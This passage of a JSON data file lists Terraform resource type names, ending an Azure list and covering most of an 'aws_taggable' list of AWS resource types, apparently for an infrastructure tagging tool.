\"azurerm_site_recovery_vmware_replication_policy\",\n        \"azurerm_site_recovery_vmware_replication_policy_association\",\n        \"azurerm_spring_cloud_application_insights_application_performance_monitoring\",\n        \"azurerm_spring_cloud_dynatrace_application_performance_monitoring\",\n        \"azurerm_storage_account_local_user\",\n        \"azurerm_storage_mover\",\n        \"azurerm_storage_mover_agent\",\n        \"azurerm_storage_mover_job_definition\",\n        \"azurerm_storage_mover_project\",\n        \"azurerm_storage_mover_source_endpoint\",\n        \"azurerm_storage_mover_target_endpoint\",\n        \"azurerm_subscription_cost_management_view\",\n        \"azurerm_virtual_hub_routing_intent\",\n        \"azurerm_virtual_machine_run_command\",\n        \"azurerm_voice_services_communications_gateway\",\n        \"azurerm_voice_services_communications_gateway_test_line\",\n        \"azurerm_web_pubsub_custom_certificate\",\n        \"azurerm_web_pubsub_custom_domain\",\n        \"azurerm_advisor_suppression\",\n        \"azurerm_ai_services\",\n        \"azurerm_api_management_policy_fragment\",\n        \"azurerm_arc_kubernetes_provisioned_cluster\",\n        \"azurerm_arc_machine\",\n        \"azurerm_arc_machine_automanage_configuration_assignment\",\n        \"azurerm_chaos_studio_capability\",\n        \"azurerm_chaos_studio_experiment\",\n        \"azurerm_chaos_studio_target\",\n        \"azurerm_cognitive_account_rai_blocklist\",\n        \"azurerm_cognitive_account_rai_policy\",\n        \"azurerm_communication_service_email_domain_association\",\n        \"azurerm_container_app_custom_domain\",\n        \"azurerm_container_app_environment_custom_domain\",\n        \"azurerm_container_app_job\",\n        \"azurerm_container_registry_cache_rule\",\n        \"azurerm_container_registry_credential_set\",\n        \"azurerm_dashboard_grafana_managed_private_endpoint\",\n        \"azurerm_data_factory_credential_service_principal\",\n        \"azurerm_data_protection_backup_instance_kubernetes_cluster\",\n        \"azurerm_data_protection_backup_instance_mysql_flexible_server\",\n        \"azurerm_data_protection_backup_instance_postgresql_flexible_server\",\n        \"azurerm_data_protection_backup_policy_kubernetes_cluster\",\n        \"azurerm_data_protection_backup_policy_mysql_flexible_server\",\n        \"azurerm_data_protection_backup_policy_postgresql_flexible_server\",\n        \"azurerm_dev_center_attached_network\",\n        \"azurerm_dev_center_catalog\",\n        \"azurerm_dev_center_dev_box_definition\",\n        \"azurerm_dev_center_environment_type\",\n        \"azurerm_dev_center_gallery\",\n        \"azurerm_dev_center_network_connection\",\n        \"azurerm_dev_center_project_environment_type\",\n        \"azurerm_dev_center_project_pool\",\n        \"azurerm_dynatrace_monitor\",\n        \"azurerm_dynatrace_tag_rules\",\n        \"azurerm_elastic_san_volume\",\n        \"azurerm_elastic_san_volume_group\",\n        \"azurerm_email_communication_service_domain\",\n        \"azurerm_eventgrid_namespace\",\n        \"azurerm_extended_custom_location\",\n        \"azurerm_fabric_capacity\",\n        \"azurerm_iotcentral_organization\",\n        \"azurerm_key_vault_managed_hardware_security_module_key\",\n        \"azurerm_key_vault_managed_hardware_security_module_key_rotation_policy\",\n        \"azurerm_kubernetes_fleet_member\",\n        \"azurerm_kubernetes_fleet_update_run\",\n        \"azurerm_kubernetes_fleet_update_strategy\",\n        \"azurerm_machine_learning_workspace_network_outbound_rule_fqdn\",\n        \"azurerm_machine_learning_workspace_network_outbound_rule_private_endpoint\",\n        \"azurerm_machine_learning_workspace_network_outbound_rule_service_tag\",\n        \"azurerm_maintenance_assignment_dynamic_scope\",\n        \"azurerm_mongo_cluster\",\n        \"azurerm_mssql_job\",\n        \"azurerm_mssql_job_schedule\",\n        \"azurerm_mssql_job_target_group\",\n        \"azurerm_netapp_account_encryption\",\n        \"azurerm_netapp_backup_policy\",\n        \"azurerm_netapp_backup_vault\",\n        \"azurerm_oracle_autonomous_database\",\n        \"azurerm_oracle_cloud_vm_cluster\",\n        \"azurerm_oracle_exadata_infrastructure\",\n        \"azurerm_postgresql_flexible_server_virtual_endpoint\",\n        \"azurerm_redhat_openshift_cluster\",\n        \"azurerm_redis_cache_access_policy\",\n        \"azurerm_redis_cache_access_policy_assignment\",\n        \"azurerm_restore_point_collection\",\n        \"azurerm_role_management_policy\",\n        \"azurerm_site_recovery_vmware_replicated_vm\",\n        \"azurerm_spring_cloud_app_dynamics_application_performance_monitoring\",\n        \"azurerm_spring_cloud_elastic_application_performance_monitoring\",\n        \"azurerm_spring_cloud_new_relic_application_performance_monitoring\",\n        \"azurerm_stack_hci_deployment_setting\",\n        \"azurerm_stack_hci_extension\",\n        \"azurerm_stack_hci_logical_network\",\n        \"azurerm_stack_hci_marketplace_gallery_image\",\n        \"azurerm_stack_hci_network_interface\",\n        \"azurerm_stack_hci_storage_path\",\n        \"azurerm_stack_hci_virtual_hard_disk\",\n        \"azurerm_static_web_app\",\n        \"azurerm_static_web_app_custom_domain\",\n        \"azurerm_static_web_app_function_app_registration\",\n        \"azurerm_storage_account_queue_properties\",\n        \"azurerm_storage_account_static_website\",\n        \"azurerm_storage_container_immutability_policy\",\n        \"azurerm_storage_sync_server_endpoint\",\n        \"azurerm_system_center_virtual_machine_manager_availability_set\",\n        \"azurerm_system_center_virtual_machine_manager_cloud\",\n        \"azurerm_system_center_virtual_machine_manager_server\",\n        \"azurerm_system_center_virtual_machine_manager_virtual_machine_template\",\n        \"azurerm_system_center_virtual_machine_manager_virtual_network\",\n        \"azurerm_trusted_signing_account\",\n        \"azurerm_video_indexer_account\",\n        \"azurerm_virtual_desktop_scaling_plan_host_pool_association\",\n        \"azurerm_virtual_machine_automanage_configuration_assignment\",\n        \"azurerm_virtual_machine_gallery_application_assignment\",\n        \"azurerm_virtual_machine_implicit_data_disk_from_source\",\n        \"azurerm_virtual_machine_restore_point\",\n        \"azurerm_virtual_machine_restore_point_collection\",\n        \"azurerm_workloads_sap_discovery_virtual_instance\",\n        \"azurerm_workloads_sap_single_node_virtual_instance\",\n        \"azurerm_workloads_sap_three_tier_virtual_instance\"\n    ],\n    \"aws_taggable\": [\n        \"aws_acm_certificate\",\n        \"aws_acmpca_certificate_authority\",\n        \"aws_api_gateway_api_key\",\n        \"aws_api_gateway_client_certificate\",\n        \"aws_api_gateway_domain_name\",\n        \"aws_api_gateway_rest_api\",\n        \"aws_api_gateway_stage\",\n        \"aws_api_gateway_usage_plan\",\n        \"aws_api_gateway_vpc_link\",\n        \"aws_apigatewayv2_api\",\n        \"aws_apigatewayv2_domain_name\",\n        \"aws_apigatewayv2_stage\",\n        \"aws_apigatewayv2_vpc_link\",\n        \"aws_accessanalyzer_analyzer\",\n        \"aws_appmesh_mesh\",\n        \"aws_appmesh_route\",\n        \"aws_appmesh_virtual_node\",\n        \"aws_appmesh_virtual_router\",\n        \"aws_appmesh_virtual_service\",\n        \"aws_appsync_graphql_api\",\n        \"aws_appautoscaling_target\",\n        \"aws_athena_workgroup\",\n        \"aws_backup_plan\",\n        \"aws_backup_vault\",\n        \"aws_batch_compute_environment\",\n        \"aws_batch_job_definition\",\n        \"aws_batch_job_queue\",\n        \"aws_budgets_budget\",\n        \"aws_cloud9_environment_ec2\",\n        \"aws_cloudformation_stack\",\n        \"aws_cloudformation_stack_set\",\n        \"aws_cloudfront_distribution\",\n        \"aws_cloudhsm_v2_cluster\",\n        \"aws_cloudtrail\",\n        \"aws_cloudwatch_event_rule\",\n        \"aws_cloudwatch_log_destination\",\n        \"aws_cloudwatch_log_group\",\n        \"aws_cloudwatch_metric_alarm\",\n        \"aws_codebuild_project\",\n        \"aws_codecommit_repository\",\n        \"aws_codedeploy_app\",\n        \"aws_codedeploy_deployment_group\",\n        \"aws_codepipeline\",\n        \"aws_codepipeline_webhook\",\n        \"aws_codestarnotifications_notification_rule\",\n        \"aws_cognito_identity_pool\",\n        \"aws_cognito_user_pool\",\n        \"aws_config_aggregate_authorization\",\n        \"aws_config_config_rule\",\n        \"aws_config_configuration_aggregator\",\n        \"aws_cur_report_definition\",\n        \"aws_dlm_lifecycle_policy\",\n        \"aws_datapipeline_pipeline\",\n        \"aws_datasync_agent\",\n        \"aws_datasync_location_efs\",\n        \"aws_datasync_location_nfs\",\n        \"aws_datasync_location_s3\",\n        \"aws_datasync_location_smb\",\n        \"aws_datasync_task\",\n        \"aws_dms_certificate\",\n        \"aws_dms_endpoint\",\n        \"aws_dms_event_subscription\",\n        \"aws_dms_replication_instance\",\n        \"aws_dms_replication_subnet_group\",\n        \"aws_dms_replication_task\",\n        \"aws_devicefarm_project\",\n        \"aws_dx_connection\",\n        \"aws_dx_hosted_private_virtual_interface_accepter\",\n        \"aws_dx_hosted_public_virtual_interface_accepter\",\n        \"aws_dx_hosted_transit_virtual_interface_accepter\",\n        \"aws_dx_lag\",\n        \"aws_dx_private_virtual_interface\",\n        \"aws_dx_public_virtual_interface\",\n        \"aws_dx_transit_virtual_interface\",\n        \"aws_directory_service_directory\",\n        \"aws_docdb_cluster\",\n        \"aws_docdb_cluster_instance\",\n        \"aws_docdb_cluster_parameter_group\",\n        \"aws_docdb_subnet_group\",\n        \"aws_dynamodb_table\",\n        \"aws_dax_cluster\",\n        \"aws_ami\",\n        \"aws_ami_copy\",\n        \"aws_ami_from_instance\",\n        \"aws_ebs_snapshot\",\n        \"aws_ebs_snapshot_copy\",\n        \"aws_ebs_volume\",\n        \"aws_ec2_capacity_reservation\",\n        \"aws_ec2_client_vpn_endpoint\",\n        \"aws_ec2_fleet\",\n        \"aws_ec2_local_gateway_route_table_vpc_association\",\n        \"aws_ec2_traffic_mirror_filter\",\n        \"aws_ec2_traffic_mirror_session\",\n        \"aws_ec2_traffic_mirror_target\",\n        \"aws_ec2_transit_gateway\",\n        \"aws_ec2_transit_gateway_peering_attachment\",\n        \"aws_ec2_transit_gateway_peering_attachment_accepter\",\n        \"aws_ec2_transit_gateway_route_table\",\n        \"aws_ec2_transit_gateway_vpc_attachment\",\n        \"aws_ec2_transit_gateway_vpc_attachment_accepter\",\n        \"aws_eip\",\n        \"aws_instance\",\n        \"aws_key_pair\",\n        \"aws_launch_template\",\n        \"aws_placement_group\",\n        \"aws_spot_fleet_request\",\n        \"aws_spot_instance_request\",\n        \"aws_ecr_repository\",\n        \"aws_ecs_capacity_provider\",\n        \"aws_ecs_cluster\",\n        \"aws_ecs_service\",\n        \"aws_ecs_task_definition\",\n        \"aws_efs_access_point\",\n        \"aws_efs_file_system\",\n        \"aws_eks_cluster\",\n        \"aws_eks_fargate_profile\",\n        \"aws_eks_node_group\",\n        \"aws_elasticache_cluster\",\n        \"aws_elasticache_parameter_group\",\n        \"aws_elasticache_replication_group\",\n        \"aws_elasticache_subnet_group\",\n        \"aws_elastic_beanstalk_application\",\n        \"aws_elastic_beanstalk_application_version\",\n        \"aws_elastic_beanstalk_environment\",\n        \"aws_elb\",\n        \"aws_lb\",\n        \"aws_lb_listener\",\n        \"aws_lb_listener_rule\",\n        \"aws_lb_target_group\",\n        \"aws_emr_cluster\",\n        \"aws_elasticsearch_domain\",\n        \"aws_fsx_lustre_file_system\",\n        \"aws_fsx_windows_file_system\",\n        \"aws_gamelift_alias\",\n        \"aws_gamelift_build\",\n        \"aws_gamelift_fleet\",\n        \"aws_gamelift_game_session_queue\",\n        \"aws_glacier_vault\",\n        \"aws_globalaccelerator_accelerator\",\n        \"aws_glue_catalog_database\",\n        \"aws_glue_connection\",\n        \"aws_glue_crawler\",\n        \"aws_glue_job\",\n        \"aws_glue_trigger\",\n        \"aws_glue_workflow\",\n        \"aws_guardduty_detector\",\n        \"aws_guardduty_ipset\",\n        \"aws_guardduty_threatintelset\",\n        \"aws_iam_instance_profile\",\n        \"aws_iam_openid_connect_provider\",\n        \"aws_iam_policy\",\n        \"aws_iam_role\",\n        \"aws_iam_saml_provider\",\n        \"aws_iam_server_certificate\",\n        \"aws_iam_service_linked_role\",\n        \"aws_iam_user\",\n        \"aws_inspector_assessment_template\",\n        \"aws_inspector_resource_group\",\n        \"aws_iot_policy\",\n        \"aws_iot_role_alias\",\n        \"aws_iot_thing_type\",\n        \"aws_iot_topic_rule\",\n        \"aws_kms_external_key\",\n        \"aws_kms_key\",\n        \"aws_kinesis_analytics_application\",\n        \"aws_kinesis_stream\",\n        \"aws_kinesis_firehose_delivery_stream\",\n        \"aws_kinesis_video_stream\",\n        \"aws_lambda_event_source_mapping\",\n        \"aws_lambda_function\",\n        \"aws_licensemanager_license_configuration\",\n        \"aws_lightsail_instance\",\n        \"aws_lightsail_key_pair\",\n        \"aws_mq_broker\",\n        \"aws_mq_configuration\",\n        \"aws_msk_cluster\",\n        \"aws_media_convert_queue\",\n        \"aws_media_package_channel\",\n        \"aws_media_store_container\",\n        \"aws_neptune_cluster\",\n        \"aws_neptune_cluster_instance\",\n        \"aws_neptune_cluster_parameter_group\",\n        \"aws_neptune_event_subscription\",\n        \"aws_neptune_parameter_group\",\n        \"aws_neptune_subnet_group\",\n        \"aws_opsworks_custom_layer\",\n        \"aws_opsworks_ganglia_layer\",\n        \"aws_opsworks_haproxy_layer\",\n        \"aws_opsworks_java_app_layer\",\n        \"aws_opsworks_memcached_layer\",\n        \"aws_opsworks_mysql_layer\",\n        \"aws_opsworks_nodejs_app_layer\",\n        \"aws_opsworks_php_app_layer\",\n        \"aws_opsworks_rails_app_layer\",\n        \"aws_opsworks_stack\",\n        \"aws_opsworks_static_web_layer\",\n        \"aws_organizations_account\",\n        \"aws_organizations_organizational_unit\",\n        \"aws_organizations_policy\",\n        \"aws_pinpoint_app\",\n        \"aws_qldb_ledger\",\n        \"aws_ram_resource_share\",\n        \"aws_db_cluster_snapshot\",\n        \"aws_db_event_subscription\",\n        \"aws_db_instance\",\n        \"aws_db_option_group\",\n        \"aws_db_parameter_group\",\n        \"aws_db_security_group\",\n        \"aws_db_snapshot\",\n        \"aws_db_subnet_group\",\n        \"aws_rds_cluster\",\n        \"aws_rds_cluster_endpoint\",\n        \"aws_rds_cluster_instance\",\n        \"aws_rds_cluster_parameter_group\",\n        \"aws_rds_global_cluster\",\n        \"aws_redshift_cluster\",\n        \"aws_redshift_event_subscription\",\n        \"aws_redshift_parameter_group\",\n        \"aws_redshift_snapshot_copy_grant\",\n        \"aws_redshift_snapshot_schedule\",\n        \"aws_redshift_subnet_group\",\n        \"aws_resourcegroups_group\",\n        \"aws_route53_health_check\",\n        \"aws_route53_zone\",\n        \"aws_route53_resolver_endpoint\",\n        \"aws_route53_resolver_rule\",\n        \"aws_s3_bucket\",\n        \"aws_s3_bucket_object\",\n        \"aws_sns_topic\",\n        \"aws_sqs_queue\",\n        \"aws_ssm_activation\",\n        \"aws_ssm_association\",\n        \"aws_ssm_document\",\n        \"aws_ssm_maintenance_window\",\n        \"aws_ssm_parameter\",\n        \"aws_ssm_patch_baseline\",\n        \"aws_swf_domain\",\n        \"aws_sagemaker_endpoint\",\n        \"aws_sagemaker_endpoint_configuration\",\n        \"aws_sagemaker_model\",\n        \"aws_sagemaker_notebook_instance\",\n        \"aws_secretsmanager_secret\",\n        \"aws_servicecatalog_portfolio\",\n        \"aws_service_discovery_http_namespace\",\n        \"aws_service_discovery_private_dns_namespace\",\n        \"aws_service_discovery_public_dns_namespace\",\n        \"aws_service_discovery_service\",\n        \"aws_shield_protection\",\n        \"aws_sfn_activity\",\n        \"aws_sfn_state_machine\",\n        \"aws_storagegateway_cached_iscsi_volume\",\n        \"aws_storagegateway_gateway\",\n        \"aws_storagegateway_nfs_file_share\",\n        \"aws_storagegateway_smb_file_share\",\n        \"aws_transfer_server\",\n        \"aws_transfer_user\",\n        \"aws_customer_gateway\",\n        \"aws_default_network_acl\",\n        \"aws_default_route_table\",\n        \"aws_default_security_group\",\n        \"aws_default_subnet\",\n        \"aws_default_vpc\",\n        \"aws_default_vpc_dhcp_options\",\n        \"aws_egress_only_internet_gateway\",\n        \"aws_flow_log\",\n        \"aws_internet_gateway\",\n        \"aws_nat_gateway\",\n        \"aws_network_acl\",\n        \"aws_network_interface\",\n        \"aws_route_table\",\n        \"aws_security_group\",\n        \"aws_subnet\",\n        \"aws_vpc\",\n        \"aws_vpc_dhcp_options\",\n        \"aws_vpc_endpoint\",\n        \"aws_vpc_endpoint_service\",\n        \"aws_vpc_peering_connection\",\n        \"aws_vpc_peering_connection_accepter\",\n        \"aws_vpn_connection\",\n        \"aws_vpn_gateway\",\n        \"aws_waf_rate_based_rule\",\n        \"aws_waf_rule\",\n        \"aws_waf_rule_group\",\n        \"aws_waf_web_acl\",\n        \"aws_wafregional_rate_based_rule\",\n        \"aws_wafregional_rule\",\n        \"aws_wafregional_rule_group\",\n        \"aws_wafregional_web_acl\",\n        \"aws_wafv2_ip_set\",\n        \"aws_wafv2_regex_pattern_set\",\n        \"aws_wafv2_rule_group\",\n        \"aws_wafv2_web_acl\",\n        \"aws_workspaces_directory\",\n        \"aws_workspaces_ip_group\",\n        \"aws_workspaces_workspace\",\n        \"aws_xray_sampling_rule\",\n        \"aws_alb\",\n        \"aws_alb_listener\",\n        \"aws_alb_listener_rule\",\n        \"aws_alb_target_group\",\n        \"aws_appmesh_gateway_route\",\n        \"aws_appmesh_virtual_gateway\",\n        \"aws_cloudwatch_composite_alarm\",\n        \"aws_cloudwatch_event_bus\",\n        \"aws_codeartifact_domain\",\n        \"aws_codeartifact_repository\",\n        \"aws_codebuild_report_group\",\n        \"aws_codestarconnections_connection\",\n        \"aws_datasync_location_fsx_windows_file_system\",\n        \"aws_db_proxy\",\n        \"aws_ec2_carrier_gateway\",\n        \"aws_ec2_managed_prefix_list\",\n        \"aws_fms_policy\",\n        \"aws_glue_dev_endpoint\",\n        \"aws_glue_ml_transform\",\n        \"aws_glue_registry\",\n        \"aws_glue_schema\",\n        \"aws_guardduty_filter\",\n        \"aws_imagebuilder_component\",\n        \"aws_imagebuilder_distribution_configuration\",\n        \"aws_imagebuilder_image\",\n        \"aws_imagebuilder_image_pipeline\",\n        \"aws_imagebuilder_image_recipe\",\n        \"aws_imagebuilder_infrastructure_configuration\",\n        \"aws_kinesisanalyticsv2_application\",\n        \"aws_lambda_code_signing_config\",\n        \"aws_networkfirewall_firewall\",\n        \"aws_networkfirewall_firewall_policy\",\n        \"aws_networkfirewall_rule_group\",\n        \"aws_prometheus_workspace\",\n        \"aws_route53_resolver_query_log_config\",\n        \"aws_s3_object_copy\",\n        \"aws_s3control_bucket\",\n        \"aws_sagemaker_app_image_config\",\n        \"aws_sagemaker_code_repository\",\n        \"aws_sagemaker_domain\",\n        \"aws_sagemaker_feature_group\",\n        \"aws_sagemaker_image\",\n        \"aws_sagemaker_model_package_group\",\n        \"aws_sagemaker_user_profile\",\n        \"aws_serverlessapplicationrepository_cloudformation_stack\",\n        \"aws_signer_signing_profile\",\n        \"aws_ssoadmin_permission_set\",\n        \"aws_storagegateway_stored_iscsi_volume\",\n        \"aws_storagegateway_tape_pool\",\n        \"aws_synthetics_canary\",\n        \"aws_xray_group\",\n        \"aws_ecrpublic_repository\",\n        \"aws_eks_addon\",\n        \"aws_mwaa_environment\",\n        \"aws_route53_resolver_firewall_domain_list\",\n        \"aws_route53_resolver_firewall_rule_group\",\n        \"aws_sagemaker_app\",\n        \"aws_timestreamwrite_database\",\n        \"aws_amplify_app\",\n        \"aws_amplify_branch\",\n        \"aws_appconfig_application\",\n        \"aws_appconfig_configuration_profile\",\n        \"aws_appconfig_deployment\",\n        \"aws_appconfig_deployment_strategy\",\n        \"aws_appconfig_environment\",\n        \"aws_apprunner_auto_scaling_configuration_version\",\n        \"aws_apprunner_connection\",\n        \"aws_apprunner_service\",\n        \"aws_appstream_fleet\",\n        \"aws_appstream_image_builder\",\n        \"aws_appstream_stack\",\n        \"aws_batch_scheduling_policy\",\n        \"aws_budgets_budget_action\",\n        \"aws_chime_voice_connector\",\n        \"aws_cloudwatch_metric_stream\",\n        \"aws_connect_contact_flow\",\n        \"aws_connect_hours_of_operation\",\n        \"aws_connect_instance\",\n        \"aws_datasync_location_fsx_lustre_file_system\",\n        \"aws_datasync_location_hdfs\",\n        \"aws_db_proxy_endpoint\",\n        \"aws_detective_graph\",\n        \"aws_devicefarm_device_pool\",\n        \"aws_devicefarm_network_profile\",\n        \"aws_ebs_snapshot_import\",\n        \"aws_ec2_host\",\n        \"aws_ecs_task_set\",\n        \"aws_eks_identity_provider_config\",\n        \"aws_elasticache_user\",\n        \"aws_elasticache_user_group\",\n        \"aws_emr_studio\",\n        \"aws_fsx_backup\",\n        \"aws_fsx_ontap_file_system\",\n        \"aws_fsx_ontap_storage_virtual_machine\",\n        \"aws_fsx_ontap_volume\",\n        \"aws_fsx_openzfs_file_system\",\n        \"aws_fsx_openzfs_snapshot\",\n        \"aws_fsx_openzfs_volume\",\n        \"aws_iot_authorizer\",\n        \"aws_iot_thing_group\",\n        \"aws_kms_replica_external_key\",\n        \"aws_kms_replica_key\",\n        \"aws_macie2_classification_job\",\n        \"aws_macie2_custom_data_identifier\",\n        \"aws_macie2_findings_filter\",\n        \"aws_macie2_member\",\n        \"aws_memorydb_acl\",\n        \"aws_memorydb_cluster\",\n        \"aws_memorydb_parameter_group\",\n        \"aws_memorydb_subnet_group\",\n        \"aws_memorydb_user\",\n        \"aws_mskconnect_custom_plugin\",\n        \"aws_mskconnect_worker_configuration\",\n        \"aws_neptune_cluster_endpoint\",\n        \"aws_quicksight_data_source\",\n        \"aws_route53_resolver_firewall_rule_group_association\",\n        \"aws_route53recoveryreadiness_cell\",\n        \"aws_route53recoveryreadiness_readiness_check\",\n        \"aws_route53recoveryreadiness_recovery_group\",\n        \"aws_route53recoveryreadiness_resource_set\",\n        \"aws_sagemaker_device_fleet\",\n        \"aws_sagemaker_flow_definition\",\n        \"aws_sagemaker_human_task_ui\",\n        \"aws_sagemaker_studio_lifecycle_config\",\n        \"aws_sagemaker_workteam\",\n        \"aws_schemas_discoverer\",\n        \"aws_schemas_registry\",\n        \"aws_schemas_schema\",\n        \"aws_servicecatalog_product\",\n        \"aws_servicecatalog_provisioned_product\",\n        \"aws_shield_protection_group\",\n        \"aws_storagegateway_file_system_association\",\n        \"aws_timestreamwrite_table\",\n        \"aws_vpc_ipam\",\n        \"aws_vpc_ipam_pool\",\n        \"aws_vpc_ipam_scope\",\n        \"aws_appflow_flow\",\n        \"aws_appintegrations_event_integration\",\n        \"aws_applicationinsights_application\",\n        \"aws_apprunner_observability_configuration\",\n        \"aws_apprunner_vpc_connector\",\n        \"aws_athena_data_catalog\",\n        \"aws_backup_framework\",\n        \"aws_backup_report_plan\",\n        \"aws_ce_anomaly_monitor\",\n        \"aws_ce_anomaly_subscription\",\n        \"aws_ce_cost_category\",\n        \"aws_cloudtrail_event_data_store\",\n        \"aws_connect_contact_flow_module\",\n        \"aws_connect_queue\",\n        \"aws_connect_quick_connect\",\n        \"aws_connect_routing_profile\",\n        \"aws_connect_security_profile\",\n        \"aws_connect_user\",\n        \"aws_connect_user_hierarchy_group\",\n        \"aws_connect_vocabulary\",\n        \"aws_dataexchange_data_set\",\n        \"aws_dataexchange_revision\",\n        \"aws_datasync_location_fsx_openzfs_file_system\",\n        \"aws_db_snapshot_copy\",\n        \"aws_devicefarm_instance_profile\",\n        \"aws_devicefarm_test_grid_project\",\n        \"aws_docdb_event_subscription\",\n        \"aws_ec2_network_insights_path\",\n        \"aws_ec2_transit_gateway_connect\",\n        \"aws_ec2_transit_gateway_connect_peer\",\n        \"aws_ec2_transit_gateway_multicast_domain\",\n        \"aws_emrcontainers_virtual_cluster\",\n        \"aws_emrserverless_application\",\n        \"aws_fis_experiment_template\",\n        \"aws_fsx_data_repository_association\",\n        \"aws_gamelift_game_server_group\",\n        \"aws_gamelift_script\",\n        \"aws_grafana_workspace\",\n        \"aws_iam_virtual_mfa_device\",\n        \"aws_imagebuilder_container_recipe\",\n        \"aws_iot_provisioning_template\",\n        \"aws_kendra_faq\",\n        \"aws_kendra_index\",\n        \"aws_kendra_query_suggestions_block_list\",\n        \"aws_kendra_thesaurus\",\n        \"aws_keyspaces_keyspace\",\n        \"aws_keyspaces_table\",\n        \"aws_lightsail_container_service\",\n        \"aws_lightsail_database\",\n        \"aws_location_geofence_collection\",\n        \"aws_location_map\",\n        \"aws_location_place_index\",\n        \"aws_location_route_calculator\",\n        \"aws_location_tracker\",\n        \"aws_memorydb_snapshot\",\n        \"aws_mskconnect_connector\",\n        \"aws_networkmanager_connection\",\n        \"aws_networkmanager_device\",\n        \"aws_networkmanager_global_network\",\n        \"aws_networkmanager_link\",\n        \"aws_networkmanager_site\",\n        \"aws_opensearch_domain\",\n        \"aws_opsworks_ecs_cluster_layer\",\n        \"aws_qldb_stream\",\n        \"aws_redshift_hsm_client_certificate\",\n        \"aws_redshift_hsm_configuration\",\n        \"aws_redshift_usage_limit\",\n        \"aws_redshiftserverless_namespace\",\n        \"aws_rolesanywhere_profile\",\n        \"aws_rolesanywhere_trust_anchor\",\n        \"aws_route53domains_registered_domain\",\n        \"aws_rum_app_monitor\",\n        \"aws_s3_object\",\n        \"aws_sagemaker_project\",\n        \"aws_transcribe_medical_vocabulary\",\n        \"aws_transcribe_vocabulary\",\n        \"aws_transcribe_vocabulary_filter\",\n        \"aws_transfer_workflow\",\n        \"aws_appconfig_extension\",\n        \"aws_apprunner_vpc_ingress_connection\",\n        \"aws_auditmanager_control\",\n        \"aws_auditmanager_framework\",\n        \"aws_codepipeline_custom_action_type\",\n        \"aws_comprehend_document_classifier\",\n        \"aws_comprehend_entity_recognizer\",\n        \"aws_connect_phone_number\",\n        \"aws_directory_service_region\",\n        \"aws_dms_s3_endpoint\",\n        \"aws_dynamodb_table_replica\",\n        \"aws_ec2_network_insights_analysis\",\n        \"aws_ec2_transit_gateway_policy_table\",\n        \"aws_evidently_feature\",\n        \"aws_evidently_project\",\n        \"aws_evidently_segment\",\n        \"aws_fsx_file_cache\",\n        \"aws_ivs_channel\",\n        \"aws_ivs_playback_key_pair\",\n        \"aws_ivs_recording_configuration\",\n        \"aws_ivschat_logging_configuration\",\n        \"aws_ivschat_room\",\n        \"aws_kendra_data_source\",\n        \"aws_lightsail_certificate\",\n        \"aws_lightsail_disk\",\n        \"aws_lightsail_lb\",\n        \"aws_medialive_channel\",\n        \"aws_medialive_input\",\n        \"aws_medialive_input_security_group\",\n        \"aws_medialive_multiplex\",\n        \"aws_msk_serverless_cluster\",\n        \"aws_networkmanager_connect_attachment\",\n        \"aws_networkmanager_core_network\",\n        \"aws_networkmanager_site_to_site_vpn_attachment\",\n        \"aws_networkmanager_transit_gateway_peering\",\n        \"aws_networkmanager_transit_gateway_route_table_attachment\",\n        \"aws_networkmanager_vpc_attachment\",\n        \"aws_rds_reserved_instance\",\n        \"aws_redshiftserverless_workgroup\",\n        \"aws_resourceexplorer2_index\",\n        \"aws_s3control_storage_lens_configuration\",\n        \"aws_sagemaker_space\",\n        \"aws_scheduler_schedule_group\",\n        \"aws_sesv2_configuration_set\",\n        \"aws_sesv2_dedicated_ip_pool\",\n        \"aws_sesv2_email_identity\",\n        \"aws_transcribe_language_model\",\n        \"aws_auditmanager_assessment\",\n        \"aws_chimesdkmediapipelines_media_insights_pipeline_configuration\",\n        \"aws_chimesdkvoice_sip_media_application\",\n        \"aws_chimesdkvoice_voice_profile_domain\",\n        \"aws_cleanrooms_collaboration\",\n        \"aws_cleanrooms_configured_table\",\n        \"aws_codeguruprofiler_profiling_group\",\n        \"aws_codegurureviewer_repository_association\",\n        \"aws_customerprofiles_domain\",\n        \"aws_datasync_location_azure_blob\",\n        \"aws_datasync_location_fsx_ontap_file_system\",\n        \"aws_datasync_location_object_storage\",\n        \"aws_dms_replication_config\",\n        \"aws_docdbelastic_cluster\",\n        \"aws_ec2_instance_connect_endpoint\",\n        \"aws_eks_access_entry\",\n        \"aws_eks_pod_identity_association\",\n        \"aws_elasticache_serverless_cache\",\n        \"aws_emrcontainers_job_template\",\n        \"aws_evidently_launch\",\n        \"aws_finspace_kx_cluster\",\n        \"aws_finspace_kx_database\",\n        \"aws_finspace_kx_dataview\",\n        \"aws_finspace_kx_environment\",\n        \"aws_finspace_kx_scaling_group\",\n        \"aws_finspace_kx_user\",\n        \"aws_finspace_kx_volume\",\n        \"aws_globalaccelerator_custom_routing_accelerator\",\n        \"aws_glue_data_quality_ruleset\",\n        \"aws_imagebuilder_workflow\",\n        \"aws_internetmonitor_monitor\",\n        \"aws_iot_billing_group\",\n        \"aws_iot_ca_certificate\",\n        \"aws_iot_domain_configuration\",\n        \"aws_lb_trust_store\",\n        \"aws_lexv2models_bot\",\n        \"aws_lightsail_bucket\",\n        \"aws_lightsail_distribution\",\n        \"aws_msk_replicator\",\n        \"aws_msk_vpc_connection\",\n        \"aws_networkmanager_connect_peer\",\n        \"aws_oam_link\",\n        \"aws_oam_sink\",\n        \"aws_opensearchserverless_collection\",\n        \"aws_organizations_resource_policy\",\n        \"aws_pipes_pipe\",\n        \"aws_prometheus_scraper\",\n        \"aws_quicksight_folder\",\n        \"aws_quicksight_vpc_connection\",\n        \"aws_rbin_rule\",\n        \"aws_rds_custom_db_engine_version\",\n        \"aws_redshift_cluster_snapshot\",\n        \"aws_resourceexplorer2_view\",\n        \"aws_s3control_access_grant\",\n        \"aws_s3control_access_grants_instance\",\n        \"aws_s3control_access_grants_location\",\n        \"aws_sagemaker_data_quality_job_definition\",\n        \"aws_sagemaker_monitoring_schedule\",\n        \"aws_sagemaker_pipeline\",\n        \"aws_securitylake_data_lake\",\n        \"aws_sesv2_contact_list\",\n        \"aws_ssmcontacts_contact\",\n        \"aws_ssmincidents_replication_set\",\n        \"aws_ssmincidents_response_plan\",\n        \"aws_ssoadmin_application\",\n        \"aws_ssoadmin_trusted_token_issuer\",\n        \"aws_synthetics_group\",\n        \"aws_transfer_agreement\",\n        \"aws_transfer_certificate\",\n        \"aws_transfer_connector\",\n        \"aws_transfer_profile\",\n        \"aws_verifiedaccess_endpoint\",\n        \"aws_verifiedaccess_group\",\n        \"aws_verifiedaccess_instance\",\n        